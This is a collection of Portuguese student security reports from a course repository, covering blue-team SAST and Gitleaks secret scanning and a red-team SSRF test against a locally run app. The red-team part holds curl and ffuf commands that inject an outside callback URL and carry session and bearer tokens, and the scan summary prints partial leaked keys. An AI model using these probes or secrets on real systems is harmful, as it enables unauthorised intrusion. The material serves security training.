166 | A implementação do Bandit como ferramenta SAST na pipeline do projeto EJ-Application foi concluída com sucesso. A análise identificou vulnerabilidades importantes que devem ser tratadas para melhorar a segurança da aplicação.
167 |
168 | A configuração atual permite que a equipe se adapte gradualmente às análises de segurança, sem bloquear o desenvolvimento, enquanto trabalha na correção das vulnerabilidades existentes.
169 |
170 | Esta implementação representa um primeiro passo importante na direção de práticas de desenvolvimento seguro, que podem ser expandidas e aprimoradas no futuro.
171 |
--------------------------------------------------------------------------------
/2025.1/EJ/BlueTeam/relatorios/sprint2.md:
--------------------------------------------------------------------------------
1 | # Relatório de Análise de Secrets - Projeto EJ - Sprint 2
2 |
3 | **Semestre:** 2025.1
4 | **Sprint:** 2
5 | **Grupo:** BlueTeam EJ
6 |
7 | ## Introdução
8 |
9 | Este relatório detalha a análise realizada no projeto EJ-Application e sua pipeline de CI/CD com o objetivo de identificar informações sensíveis (secrets) expostas, como chaves de API, tokens, senhas e outras credenciais hardcoded. A exposição de secrets representa um risco significativo de segurança. Nesta sprint, além da análise manual, foi integrada uma ferramenta automatizada de secret scanning (Gitleaks) à pipeline para detecção contínua.
10 |
11 | ## Objetivos
12 |
13 | - Verificar a presença de informações sensíveis hardcoded no código-fonte e configurações.
14 | - Implementar e integrar uma ferramenta automatizada de secret scanning (Gitleaks) na pipeline.
15 | - Analisar arquivos de configuração e scripts de pipeline em busca de secrets expostos.
16 | - Identificar riscos associados à exposição de secrets.
17 | - Documentar os achados (manuais e automatizados) e fornecer recomendações para mitigação.
18 |
19 | ## Metodologia
20 |
21 | A análise foi realizada utilizando as seguintes técnicas:
22 |
23 | 1. **Análise Estática Manual (grep)**: Buscas iniciais por palavras-chave comuns associadas a secrets no código-fonte e arquivos de configuração.
24 | 2. **Revisão de Configuração da Pipeline**: Análise do arquivo `.gitlab-ci.yml` para identificar o uso de tokens e variáveis sensíveis.
25 | 3. **Revisão de Arquivos de Ambiente**: Análise do arquivo `docker/variables.env`.
26 | 4. **Análise Automatizada (Gitleaks)**: Integração da ferramenta Gitleaks na pipeline de CI/CD para varredura automatizada do repositório em busca de segredos expostos, utilizando análise de padrões e entropia.
27 |
28 | ## Resultados da Análise
29 |
30 | A análise combinada (manual e automatizada) identificou os seguintes pontos de atenção:
31 |
32 | ### 1. Secrets no Código-Fonte (`src/**/*.py`)
33 |
34 | - **Análise Manual**: Identificou usos de termos como `password`, `token`, `secret_id`, majoritariamente relacionados a funcionalidades esperadas (gerenciamento de senhas, tokens de reset, etc.).
35 | - **Análise Automatizada (Gitleaks)**: Não reportou segredos críticos diretamente no código da aplicação principal, mas identificou uma chave genérica em um arquivo de teste (`src/ej_users/tests/test_api.py`).
36 | - **Risco**: Baixo para o código principal, Médio para a chave no arquivo de teste (se for uma chave real ou representativa de um padrão inseguro).
37 | - **Recomendação**: Revisar a chave encontrada no arquivo de teste. Considerar o uso de placeholders ou dados fictícios em testes.
38 |
39 | ### 2. Secrets na Configuração da Pipeline (`.gitlab-ci.yml`)
40 |
41 | - **`GITLAB_EJ_TOKEN: ...` (Linha 10)**
42 | - **Detectado por**: Análise Manual e Gitleaks (como `generic-api-key`).
43 | - **Descrição**: Token de deploy do GitLab hardcoded.
44 | - **Risco**: **Alto**.
45 | - **Recomendação**: Remover o token do arquivo e armazená-lo como uma variável de CI/CD protegida e mascarada no GitLab.
46 |
47 | - **`https://gitlab-ci-token:${CI_JOB_TOKEN}@...` (Linha 82)**
48 | - **Detectado por**: Análise Manual.
49 | - **Descrição**: Uso seguro da variável `CI_JOB_TOKEN`.
50 | - **Risco**: Baixo.
51 |
52 | - **`https://$GITLAB_INFRA_TOKEN@...` (Linha 114)**
53 | - **Detectado por**: Análise Manual.
54 | - **Descrição**: Uso da variável `GITLAB_INFRA_TOKEN`.
55 | - **Risco**: Médio (depende da configuração da variável).
56 | - **Recomendação**: Garantir que `GITLAB_INFRA_TOKEN` esteja definida como variável protegida e mascarada no GitLab.
57 |
58 | ### 3. Secrets em Arquivos de Ambiente (`docker/variables.env`)
59 |
60 | - **`DJANGO_SECRET_KEY=...` (Linha 8)**
61 | - **Detectado por**: Análise Manual e Gitleaks (como `generic-api-key` ou similar, dependendo das regras do Gitleaks).
62 | - **Descrição**: Chave secreta do Django hardcoded.
63 | - **Risco**: **Alto**.
64 | - **Recomendação**: Remover do arquivo, carregar via variáveis de ambiente em produção/staging, adicionar `variables.env` ao `.gitignore`.
65 |
66 | - **`JWT_SECRET=...` (Linha 23)**
67 | - **Detectado por**: Análise Manual e Gitleaks (como `generic-api-key` ou similar).
68 | - **Descrição**: Chave secreta JWT hardcoded.
69 | - **Risco**: **Alto**.
70 | - **Recomendação**: Seguir a mesma recomendação da `DJANGO_SECRET_KEY`.
71 |
72 | - **`MAILGUN_API_KEY=` e `EMAIL_HOST_PASSWORD=`**
73 | - **Detectado por**: Análise Manual.
74 | - **Descrição**: Campos vazios para credenciais.
75 | - **Risco**: Baixo (enquanto vazios), mas risco potencial.
76 | - **Recomendação**: Garantir que `variables.env` esteja no `.gitignore`.
77 |
78 | ### 4. Outros Achados (Gitleaks)
79 |
80 | - **JWT em Documentação (`docs/development-guides/pt-br/api.rst`)**: Gitleaks detectou um JWT hardcoded em um arquivo de documentação. Embora possa ser um exemplo, representa um risco se for um token válido ou se ensinar práticas inseguras.
81 | - **Risco**: Médio.
82 | - **Recomendação**: Substituir por um placeholder ou exemplo claramente inválido na documentação.
83 |
84 | ### 5. Integração do Gitleaks na Pipeline
85 |
86 | Foi adicionado um job `gitleaks_scan` ao estágio `security` da pipeline:
87 |
88 | ```yaml
89 | # Job para Secret Scanning com Gitleaks (com resumo em Markdown)
90 | gitleaks_scan:
91 | stage: security
92 | image:
93 | name: zricethezav/gitleaks:latest
94 | entrypoint: ['']
95 | before_script:
96 | - apk add --no-cache jq bash
97 | script:
98 | - gitleaks detect --source . --verbose --report-path gitleaks-report.json || true
99 | - |
100 | if [ -s gitleaks-report.json ]; then
101 | echo '# Gitleaks Scan Summary' > gitleaks-summary.md
102 | # ... (script jq para gerar resumo) ...
103 | else
104 | echo '# Gitleaks Scan Summary' > gitleaks-summary.md
105 | echo 'No secrets found or report is empty.' >> gitleaks-summary.md
106 | fi
107 | artifacts:
108 | paths:
109 | - gitleaks-report.json
110 | - gitleaks-summary.md
111 | expire_in: 1 week
112 | when: always
113 | allow_failure: true
114 | ```
115 |
116 | Este job executa o Gitleaks, gera um relatório JSON completo e um resumo em Markdown (`gitleaks-summary.md`) para facilitar a visualização dos resultados.
117 |
118 | **Resumo dos Achados do Gitleaks (Exemplo do `gitleaks-summary.md` gerado):**
119 |
120 | ```markdown
121 | # Gitleaks Scan Summary
122 |
123 | ## Secrets Found:
124 |
125 | ### Finding Type: generic-api-key
126 | - **Description:** Detected a Generic API Key...
127 | - **File:** .gitlab-ci.yml
128 | - **Line:** 10
129 | - **Secret:** `51xTbvyHGmEfeZZUxUct`
130 | ...
131 | ---
132 | ### Finding Type: jwt
133 | - **Description:** Uncovered a JSON Web Token...
134 | - **File:** docs/development-guides/pt-br/api.rst
135 | - **Line:** 30
136 | - **Secret:** `eyJhbGciOiJIUzI1NiIsIn...`
137 | ...
138 | ---
139 | ### Finding Type: generic-api-key
140 | - **Description:** Detected a Generic API Key...
141 | - **File:** src/ej_users/tests/test_api.py
142 | - **Line:** 129
143 | - **Secret:** `8d969eef6ecad3c29a3a6...`
144 | ...
145 | ---
146 | ```
147 | *(Nota: O conteúdo completo do resumo gerado pela pipeline deve ser consultado no artefato `gitleaks-summary.md`)*
148 |
149 | ## Recomendações Gerais (Reforçadas pela Análise Automatizada)
150 |
151 | 1. **Utilizar Variáveis de Ambiente / Secrets Management**: Prioridade máxima para remover `GITLAB_EJ_TOKEN`, `DJANGO_SECRET_KEY`, `JWT_SECRET` dos arquivos versionados.
152 | 2. **`.gitignore`**: Adicionar `variables.env` imediatamente ao `.gitignore`.
153 | 3. **GitLab CI/CD Variables**: Configurar os tokens e chaves necessários para a pipeline como variáveis protegidas e mascaradas.
154 | 4. **Secret Scanning Contínuo**: Manter o Gitleaks ativo na pipeline. Considerar torná-lo bloqueante (`allow_failure: false`) para novos segredos detectados após a limpeza inicial.
155 | 5. **Revisão de Código**: Manter a verificação de secrets como parte do processo de revisão.
156 | 6. **Rotação de Secrets**: Rotacionar imediatamente o `GITLAB_EJ_TOKEN`, `DJANGO_SECRET_KEY` e `JWT_SECRET` expostos.
157 | 7. **Limpeza de Histórico (Avançado/Opcional)**: Para segredos expostos há muito tempo, considerar ferramentas para limpar o histórico do Git (complexo e arriscado, avaliar necessidade).
158 | 8. **Revisar Documentação e Testes**: Remover ou substituir secrets hardcoded em arquivos de documentação e testes.
159 |
160 | ## Conclusão
161 |
162 | A análise combinada (manual e automatizada com Gitleaks) confirmou a presença de múltiplos secrets hardcoded, representando riscos significativos. A integração do Gitleaks na pipeline fornece um mecanismo de detecção contínua essencial. A implementação das recomendações, especialmente a remoção de secrets dos arquivos versionados e a rotação dos valores expostos, é crucial para melhorar a postura de segurança do projeto EJ-Application.
163 |
--------------------------------------------------------------------------------
/2025.1/MEPA/BlueTeam/relatorios/sprint1.md:
--------------------------------------------------------------------------------
1 | # SPRINT 1 - MEPA BLUE TEAM
2 |
3 | ## Integrantes
4 |
5 | - **Ricardo Augusto Valle Maciel** - 180077899 - [@avmricardo](https://github.com/avmricardo)
6 | - **Mateus Orlando Medeiros Ribeiro** - 211062259 - [@MateusPy](https://github.com/MateusPy)
7 | - **Danilo Carvalho Antunes** - 211039312 - [@Danilo-Carvalho-Antunes](https://github.com/Danilo-Carvalho-Antunes)
8 |
9 | ---
10 |
11 | ## 🛡️ Atividades de Capacitação Realizadas
12 |
13 | 1 - ✅ Conclusão da trilha “Pre Security” – TryHackMe
14 |
15 | Conteúdos abordados:
16 |
17 | - Fundamentos de segurança defensiva (Blue Team).
18 |
19 | - Operação de Security Operations Center (SOC).
20 |
21 | - Threat Intelligence (Inteligência de Ameaças).
22 |
23 | - Digital Forensics and Incident Response (DFIR).
24 |
25 | - Malware Analysis (Análise de Malware).
26 |
27 |
28 | 2 - ⚙️ Estudos da trilha “DevSecOps” – TryHackMe
29 |
30 | Conteúdos abordados:
31 |
32 | - Integração da segurança no ciclo de desenvolvimento (DevSecOps).
33 |
34 | - Práticas de segurança em pipelines CI/CD.
35 |
36 | - Ferramentas e técnicas para automação de análise de vulnerabilidades no desenvolvimento.
37 |
38 | - Gerenciamento de dependências e análise de containers.
39 |
40 |
41 | ## 💻 Atividades Práticas Realizadas
42 |
43 | 1 - ✅ Ambiente do Projeto MEPA configurado localmente:
44 |
45 | - Clonamos o repositório do projeto.
46 |
47 | - Realizamos o setup do ambiente na nossa máquina (configuração de dependências, banco de dados e serviços necessários).
48 |
49 | - Iniciamos o processo de análise do código e levantamento de pontos de atenção relacionados à segurança e possíveis melhorias.
50 |
51 | 2 - ⚙️ Análise inicial das Issues:
52 |
53 | - Começamos a estudar a Issue aberta no repositório, a qual pedia a criação de um SAST(Static Application Security Testing) caso o projeto não possuísse um.
54 |
55 | - O que é um SAST: É uma técnica de análise de segurança que examina o código fonte, bytecode ou binário de um software sem executá-lo.
56 |
57 | - Analisamos o repositório [MEPA Energia API](https://gitlab.com/lappis-unb/projetos-energia/mec-energia/mec-energia-api) e observamos que não havia SAST implementado na pipeline do projeto. Então fomos estudar a ferramenta Bandit que foi indicado pelo monitor na própria issue.
58 |
59 | - Após um estudo detalhado da documentação do Bandit, [disponível aqui](https://bandit.readthedocs.io/en/latest/), o integrante Ricardo Augusto criou um fork para implementarmos um JOB de SAST na pipeline do projeto.
60 |
61 | - Ao final, o JOB que criamos ficou assim:
62 |
63 | 
64 |
65 |
66 | - Vamos detalhar melhor o que cada parte faz:
67 |
68 | - 1: Bloco Principal - Define o nome do job. Esse nome aparece na interface do GitLab CI/CD quando o pipeline roda.
69 |
70 | ```
71 | sast-bandit:
72 | ```
73 |
74 | - 2: Stage - O job será executado na etapa chamada quality.
75 | Essa etapa geralmente agrupa jobs relacionados a qualidade de código, análise estática (SAST), linters, etc.
76 |
77 | ```
78 | stage: quality
79 | ```
80 |
81 | - 3: Imagem - O job usará uma imagem Docker com Python 3.11 como ambiente de execução.
82 |
83 | ```
84 | image: python:3.11
85 | ```
86 |
87 |
88 | - 4: Antes de Rodar (before_script) - Antes de executar o script principal, instala o Bandit, que é a ferramenta de análise estática de segurança para código Python.
89 |
90 | ```
91 | before_script:
92 | - pip install bandit
93 | ```
94 |
95 |
96 | - 5: Script Principal
97 |
98 | - Imprime a mensagem "Rodando Bandit (SAST) no projeto" no log do pipeline, de forma informativa.
99 |
100 | - Comando que roda o Bandit(bandit -r . -ll -f json -o bandit-report.json):
101 |
102 | - -r . → Faz uma análise recursiva na raiz (.) do projeto.
103 |
104 | - -ll → Define o nível de detalhe do log como "low severity" (baixo), mostrando mais informações.
105 |
106 | - -f json → Formata o output no formato JSON.
107 |
108 | - -o bandit-report.json → Salva o resultado no arquivo chamado bandit-report.json.
109 |
110 | ```
111 | script:
112 | - echo "Rodando Bandit (SAST) no projeto"
113 | - bandit -r . -ll -f json -o bandit-report.json
114 | ```
115 |
116 | - 6: Artefatos
117 |
118 | - paths → Indica quais arquivos serão salvos como artefatos do job (bandit-report.json).
119 |
120 | - when: always → Salva os artefatos sempre, mesmo se o job falhar.
121 |
122 | - expire_in: 1 week → Os artefatos ficam disponíveis para download no GitLab por 1 semana.
123 |
124 | ```
125 | artifacts:
126 | paths:
127 | - bandit-report.json
128 | when: always
129 | expire_in: 1 week
130 | ```
131 | - 7: Permitir Falha (não quebra o pipeline) - Mesmo que o Bandit encontre vulnerabilidades (ou até erros), o pipeline não falha, ele apenas registra o problema. Isso permite que o pipeline continue executando as próximas etapas.
132 |
133 | ```
134 | allow_failure: true
135 | ```
136 |
137 | - 8: Regras de Execução - Define quando esse job será executado.
138 |
139 | - Se o pipeline for disparado por um Merge Request (merge_request_event), o job roda.
140 |
141 | - Se o pipeline for disparado por um Push (push) no repositório, o job também roda.
142 |
143 | ```
144 | rules:
145 | - if: $CI_PIPELINE_SOURCE == 'merge_request_event'
146 | - if: $CI_PIPELINE_SOURCE == 'push'
147 | ```
148 |
149 | ## Resultados
150 |
151 | 
152 |
153 | - A pipeline rodou conforme o esperado, abaixo disponibilizamos alguns prints dos testes realizados pelos alunos Mateus Orlando e Ricardo Augusto:
154 |
155 | - 1: Imagem de um merge teste antes de subirmos o JOB do Bandit:
156 |
157 | 
158 |
159 | - 2: Imagem do merge após a integração do JOB do Bandit:
160 |
161 | 
162 |
163 | - 3: Imagens do arquivo de relatório .jason, que foi criado após a passagem na pipeline.
164 | - Imagem 1:
165 | 
166 | - Imagem 2:
167 | 
168 |
169 | - 4: Imagem mostrando que a pipeline gerou Warnings. Os quais são motivamos por pontos de possíveis SQL injections, possível binding para todas as interfaces e Possível XSS (Cross-Site Scripting).
170 |
171 | 
172 |
173 | - Então, como resultado foram apontados 0 problemas de severidade alta, 6 problemas de severidade média, e 356 de baixa.
174 |
175 | Métricas Principais
176 | Total de arquivos analisados: 175
177 | Problemas encontrados: 6
178 | Problemas por gravidade:
179 | Severidade Média: 6
180 | Severidade Baixa: 356
181 | Problemas por confiança:
182 | Alta confiança: 321
183 | Média confiança: 38
184 | Baixa confiança: 3
185 |
186 |
187 |
188 | ## 📈 Próximos Passos
189 |
190 | - Aprofundar o entendimento da arquitetura do projeto MEPA.
191 |
192 | - Verificar a veracidade do relatório gerado pelo JOB do SAST.
193 |
194 | - Aplicar os conhecimentos adquiridos em DevSecOps para identificar possíveis vulnerabilidades no ciclo de desenvolvimento e propor melhorias.
195 |
196 | - Trabalhar na resolução de issues abertas, priorizando aquelas relacionadas à segurança, estabilidade e boas práticas de desenvolvimento seguro.
197 |
--------------------------------------------------------------------------------
/2025.1/MEPA/BlueTeam/relatorios/sprint2.md:
--------------------------------------------------------------------------------
1 | # SPRINT 2 - MEPA BLUE TEAM
2 |
3 | ## Integrantes
4 |
5 | - **Ricardo Augusto Valle Maciel** - 180077899 - [@avmricardo](https://github.com/avmricardo)
6 | - **Mateus Orlando Medeiros Ribeiro** - 211062259 - [@MateusPy](https://github.com/MateusPy)
7 | - **Danilo Carvalho Antunes** - 211039312 - [@Danilo-Carvalho-Antunes](https://github.com/Danilo-Carvalho-Antunes)
8 |
9 | ---
10 |
11 | ## 🛡️ Atividades de Capacitação Realizadas
12 |
13 | ### 1 - ⚙️ Estudos da trilha “DevSecOps” – TryHackMe
14 |
15 | **Conteúdos abordados:**
16 |
17 | - Integração da segurança ao ciclo de desenvolvimento (DevSecOps).
18 | - Práticas de segurança em pipelines CI/CD.
19 | - Ferramentas e técnicas para automação de análise de vulnerabilidades.
20 | - Gerenciamento de dependências e análise de containers.
21 |
22 | ### 2 - ⚙️ Estudos iniciais sobre Web Application Firewalls (WAF) e OWASP Coraza
23 |
24 | **Conteúdos em estudo:**
25 |
26 | - Conceitos fundamentais de WAFs: o que são, como funcionam e sua importância em aplicações web modernas.
27 | - Tipos de WAFs: baseados em rede, host e nuvem.
28 | - Introdução ao OWASP Coraza: estrutura, benefícios e funcionalidades principais.
29 | - Integração do Coraza com servidores proxy reverso como Nginx e Caddy.
30 | - Estudo das documentações:
31 | - [OWASP Coraza Web Application Firewall](https://owasp.org/www-project-coraza-web-application-firewall/)
32 | - [OWASP Coraza - Quick Start Guide](https://coraza.io/docs/tutorials/quick-start/#requirements)
33 | - Análise de cenários de uso do Coraza na proteção de APIs Python.
34 |
35 | ---
36 |
37 | ## 💻 Atividades Práticas Realizadas
38 |
39 | ### 1 - ✅ Análise das vulnerabilidades encontradas na [issue 1](../relatorios/sprint1.md)
40 |
41 | - A partir das vulnerabilidades de nível médio apontadas pelo Bandit no repositório do MEPA API, foi feita uma análise detalhada dos trechos de código afetados.
42 | - Criamos um documento interno com anotações sobre os principais pontos levantados.
43 | - Iniciamos discussões sobre possíveis correções e como o uso de um WAF poderá complementar as proteções oferecidas pelo SAST.
44 |
45 | ---
46 |
47 | ## 📈 Próximos Passos
48 |
49 | - Iniciar a implementação de um ambiente de testes com o Coraza atuando como WAF para o back-end do MEPA.
50 | - Criar um script com regras padrão (OWASP CRS) para bloquear ataques comuns (XSS, SQLi, LFI etc.).
51 | - Avaliar o impacto do WAF no desempenho da aplicação e sua compatibilidade com as rotas existentes.
52 | - Explorar técnicas para integração dos logs do WAF com sistemas de monitoramento e geração de alertas.
53 |
--------------------------------------------------------------------------------
/2025.1/MEPA/RedTeam/imagens/burpSuite01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2025.1/MEPA/RedTeam/imagens/burpSuite01.png
--------------------------------------------------------------------------------
/2025.1/MEPA/RedTeam/imagens/burpSuite02.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2025.1/MEPA/RedTeam/imagens/burpSuite02.png
--------------------------------------------------------------------------------
/2025.1/MEPA/RedTeam/imagens/burpSuite03.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2025.1/MEPA/RedTeam/imagens/burpSuite03.png
--------------------------------------------------------------------------------
/2025.1/MEPA/RedTeam/relatorios/sprint1.md:
--------------------------------------------------------------------------------
1 | # Relatório Sprint 1
2 |
3 | ## MEPA RED TEAM
4 |
5 | * Carlos - 221031265
6 | * João - 200058525
7 | * Luis - 180066161
8 | * Vinicius - 160147816
9 |
10 | ## Atividades realizadas
11 |
12 | Durante esta sprint focamos nas seguintes atividades principais:
13 |
14 | * **Configuração do ambiente**: Subimos o ambiente do MEPA localmente em nossas máquinas.
15 |
16 | * **Exploração inicial da estrutura do projeto**: Realizamos uma análise preliminar da arquitetura e das rotas da API do MEPA, com o objetivo de identificar pontos que possam ser suscetíveis a vulnerabilidades do tipo SSRF.
17 |
18 | * **Estudo sobre SSRF (Server-Side Request Forgery)**: Dedicamos tempo ao estudo teórico sobre a vulnerabilidade SSRF, utilizando as referências de estudo.
19 |
20 | * **Testes para identificar SSRF (Server-Side Request Forgery)**: Dedicamos tempo a testes práticos para tentar encontrar vulnerabilidades do tipo SSRF.
21 |
22 |
23 | ## Exploração inicial
24 |
25 | ### Teste com `curl`
26 |
27 | Executamos um teste básico utilizando `curl` para verificar o comportamento da aplicação ao receber uma URL como parâmetro:
28 |
29 | ```
30 | curl -L -v "http://localhost:8000/api?next=http://localhost:8000/api/admin/" -H "Cookie: sessionid=s24ols0or42p5ib616yv1q3wglcvi3le"
31 | ```
32 |
33 | O objetivo era verificar se a aplicação realiza alguma requisição server-side para o endereço fornecido no parâmetro `next`, comportamento característico de uma vulnerabilidade SSRF.
34 |
35 | ### Fuzzing com FFUF
36 |
37 | Realizamos fuzzing utilizando o **FFUF** para explorar potenciais pontos vulneráveis nas rotas da API do MEPA, enviando URLs para verificar se a aplicação realiza requisições.
38 |
39 | Exemplo de um dos testes realizados:
40 |
41 | ```
42 | ffuf -u "http://localhost:8000/api/reset-password/?FUZZ=https://webhook.site/b68374b4-2735-4223-92df-eb8b00bb7610" -H "Authorization: Bearer d71d2033f406250611bf1f09471f56ba2aab7f4c" -w wordlist-ssrf.txt -fs 0
43 | ```
44 |
45 | ```
46 | /'___\ /'___\ /'___\
47 | /\ \__/ /\ \__/ __ __ /\ \__/
48 | \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
49 | \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
50 | \ \_\ \ \_\ \ \____/ \ \_\
51 | \/_/ \/_/ \/___/ \/_/
52 |
53 | v2.1.0-dev
54 | ________________________________________________
55 |
56 | :: Method : GET
57 | :: URL : http://localhost:8000/api/reset-password/?FUZZ=https://webhook.site/b68374b4-2735-4223-92df-eb8b00bb7610
58 | :: Wordlist : FUZZ: /home/carlos/Documentos/UnB/2025.1/GCES/SSRF/wordlist-ssrf.txt
59 | :: Header : Authorization: Bearer d71d2033f406250611bf1f09471f56ba2aab7f4c
60 | :: Follow redirects : false
61 | :: Calibration : false
62 | :: Timeout : 10
63 | :: Threads : 40
64 | :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
65 | :: Filter : Response size: 0
66 | ________________________________________________
67 |
68 | :: Progress: [6477/6477] :: Job [1/1] :: 28 req/sec :: Duration: [0:04:33] :: Errors: 0 ::
69 | ```
70 |
71 | ### Teste com Burp Suite
72 |
73 | Para identificar SSRFs, utilizamos o **Burp Suite**, uma ferramenta especializada em analisar e manipular o tráfego de rede. Com ela fizemos a verificação das requisições enviadas ao servidor pelo cliente.
74 |
75 | Algumas das requisições que verificamos foram:
76 | * Login e logout;
77 | * Visualização das listas de unidades consumidoras, suas tarifas e dados do usuário;
78 | * Edição de dados do usuário;
79 | * Criação e modificação de unidades consumidoras;
80 | * Criação e modificação de tarifas de unidades consumidoras;
81 |
82 |
83 |
84 | 
85 |
86 | 
87 |
88 | 
89 |
90 |
91 |
92 | **Nenhuma vulnerabilidade foi descoberta** como resultado de nossos testes. Entretanto, isso não significa que uma vulnerabilidade não exista, pois nossos testes não abrangeram 100% das possíveis requisições que um usuário pode realizar.
93 |
94 |
95 | ## Dificuldades encontradas
96 |
97 | * Determinar quais pontos da aplicação são, de fato, suscetíveis à exploração de SSRF.
98 | * Dificuldade inicial em entender como processar as informações que o **Burp Suite** apresenta, diferenciando aquelas que realmente podem levar a uma vulnerabilidade de outras informações.
99 |
100 | ## Próximos passos
101 |
102 | * Aprofundar a análise de possíveis pontos vulneráveis.
103 | * Realizar mais testes práticos de SSRF utilizando ferramentas especializadas, como **SSRFmap** e **Burp Suite**, para ter certeza que não há tal vulnerabilidade.
104 | * Iniciar o estudo sobre Insecure Direct Object References (IDOR).
105 |
--------------------------------------------------------------------------------
/2025.1/Tainacan/BlueTeam/Relatorios/sprint_2/Relatorio2.md:
--------------------------------------------------------------------------------
1 |
2 | # Relatório de segurança sobre a exposição de credenciais sensíveis (Sprint 2)
3 |
4 | ## Objetivo
5 |
6 | Este relatório apresenta uma análise do projeto Tainacan quanto a senhas, informações sensíveis ou quaisquer dados semelhantes que possam comprometer a segurança do sistema. O documento abrange a análise manual e descobertas recentes obtidas com o uso da ferramenta **Gitleaks**, que escaneia todo o histórico do repositório em busca de segredos.
7 |
8 | ## 1. Análise dos arquivos referêntes ao workflow
9 |
10 | ### 1.1 Análise do arquivo `/workflows/test.yml`
11 |
12 | - **Sem exposição de chaves de API ou tokens**.
13 | - **Sem uso de senhas hardcoded diretamente no arquivo**.
14 |
15 | ### 1.2 Análise do script `install-wp-tests.sh`
16 |
17 | - **As credenciais (DB_NAME, DB_USER, DB_PASS)** são recebidas via argumentos, e não hardcoded.
18 |
19 | ### 1.3 Riscos e Oportunidades de Melhoria
20 |
21 | ```plaintext
22 | - Descrição: A senha do banco é passada como argumento do script ($3) e, posteriormente, usada diretamente no comando
23 | mysqladmin --password=..., o que a torna visível em ferramentas como ps, no histórico de shell ou em logs de CI/CD.
24 | - Risco: Exposição de senha por argumentos de linha de comando e comandos internos
25 | - Recomendação: Evitar o uso de senhas como argumento ou diretamente nos comandos.
26 | Preferir o uso de variáveis de ambiente seguras. Armazenar a senha em um arquivo de configuração fora do
27 | versionamento (como .env).
28 | ```
29 |
30 | ## 2. Uso do Gitleaks para Detecção de Segredos
31 |
32 | ### 2.1 O que é o Gitleaks?
33 |
34 | - Ferramenta open-source para detectar **segredos, tokens, chaves de API, senhas, e outras informações sensíveis** em repositórios Git.
35 | - Pode escanear tanto os arquivos atuais quanto o **histórico completo de commits**, encontrando segredos mesmo que tenham sido removidos posteriormente.
36 |
37 | ### 2.2 Como o Gitleaks funciona?
38 |
39 | - **Escaneia todo o histórico Git por padrão**: percorre cada commit, analisando cada arquivo naquela versão.
40 | - Isso significa que segredos expostos em commits antigos **serão reportados mesmo que não existam mais no código atual**.
41 | - Também pode rodar em modo “snapshot” para analisar apenas o estado atual dos arquivos.
42 |
43 | ### 2.3 Resultados do Scan no Repositório
44 |
45 | - Foram encontrados **4 leaks** no histórico, incluindo:
46 | - Chaves genéricas de API hardcoded.
47 | ```plaintext
48 | - File: src/classes/importer/class-tainacan-flickr-importer.php
49 | - Linha: 13
50 | - Leak: apiKeyValue = 'xxxxxxxxxxx'
51 | - Commit: Ainda presente no repositório atual e encontrado nos commits: 47ea0d6a16f62cc369d0db9fc7853add2652a4c7 e 5415ef525b2d28d77efd864f2f496061785e78a7
52 | - Descrição: Essa chave é usada para acessar os serviços da API pública do Flickr.
53 | Apesar de APIs públicas como essa parecerem inofensivas à primeira vista, manter a chave embutida diretamente no
54 | código-fonte público pode trazer problemas, especialmente se a conta estiver associada a funcionalidades
55 | avançadas ou integradas com credenciais adicionais.
56 | - Riscos: Uso indevido por terceiros, que podem consumir a cota da API, resultando em indisponibilidade para os usuários legítimos.
57 | Associação reputacional, com qualquer uso malicioso da chave (como para scraping ou spam) podendo recair sobre o titular da conta Flickr,
58 | impactando negativamente a reputação do projeto.
59 | ```
60 | - Chave de API do Google Cloud Platform (GCP).
61 | ```plaintext
62 | - File: src/classes/importer/class-tainacan-youtube-importer.php
63 | - Linha: 27
64 | - Leak: 'xxxxxxxxxxxx'
65 | - Commit: c1603aa9c1c2663e75e2ea5640485248b9df15c0
66 | - Descrição: Essa chave pertence aos serviços da Google Cloud, provavelmente usada para a API do YouTube.
67 | Embora muitas dessas chaves tenham restrições de domínio ou IP, ao estarem publicadas, ficam sujeitas a engenharia reversa,
68 | scraping automatizado e abusos por terceiros.
69 | - Riscos: Consumo indevido de cotas da API, gerando custos para o projeto. Possível uso para coleta de dados de forma automatizada e indevida
70 | (ex: vídeos, estatísticas). Se não estiver limitada por IP ou domínio, pode ser usada para ataques de negação de serviço (DoS) ou atividades ilícitas.
71 | ```
72 | - Token em script shell.
73 | ```plaintext
74 | - File: tainacam/run-cypress.sh
75 | - Linha: 16
76 | - Leak: cy_record_key='xxxxxxxxxxxxx'
77 | - Commit: a4bf702203087dcc99455101df9a67ab6507e3ab
78 | - Descrição: Trata-se de uma chave genérica que parece ser usada em testes automatizados com Cypress (cy_record_key).
79 | Mesmo se usada apenas em ambientes de desenvolvimento, essa chave também deve ser mantida fora do repositório.
80 | - Riscos: Possível acesso por terceiros aos resultados de testes, logs ou falhas internas.
81 | Exposição de pipelines de testes ou comportamento da aplicação em execução.
82 | ```
83 |
84 | ### 2.4 O que o relatório do Gitleaks mostra?
85 |
86 | - O relatório **exibe o trecho exato encontrado, o arquivo, linha, commit e autor do commit**.
87 | - Mostra detalhes como o tipo de segredo detectado, para facilitar a análise.
88 | - Não é apenas um indicativo de arquivo suspeito, ele mostra exatamente o conteúdo que foi considerado leak.
89 |
90 | ## 3. Conclusão Geral
91 |
92 | - O histórico Git contém registros de segredos sensíveis que devem ser tratados para evitar exposição, além de senhas que ainda estão presentes no repositório atual.
93 | - Passar credenciais via argumentos no script pode representar riscos adicionais.
94 |
--------------------------------------------------------------------------------
/2025.1/Tainacan/RedTeam/readme.md:
--------------------------------------------------------------------------------
1 | # Como iniciar os ataques locais?
2 |
3 | Crie uma estrutura de pasta e arquivos em seu computador como a seguir
4 | ```
5 | ./
6 | ├── wp-content/
7 | └── docker-compose.yml
8 | ```
9 |
10 | Dentro do arquivo `docker-compose.yml` insira:
11 | ```yml
12 | version: "3.6"
13 |
14 | services:
15 | wordpress:
16 | image: wordpress:latest
17 | container_name: wordpress
18 | volumes:
19 | - ./wp-content:/var/www/html/wp-content
20 | environment:
21 | - WORDPRESS_DB_NAME=wordpress
22 | - WORDPRESS_TABLE_PREFIX=wp_
23 | - WORDPRESS_DB_HOST=db
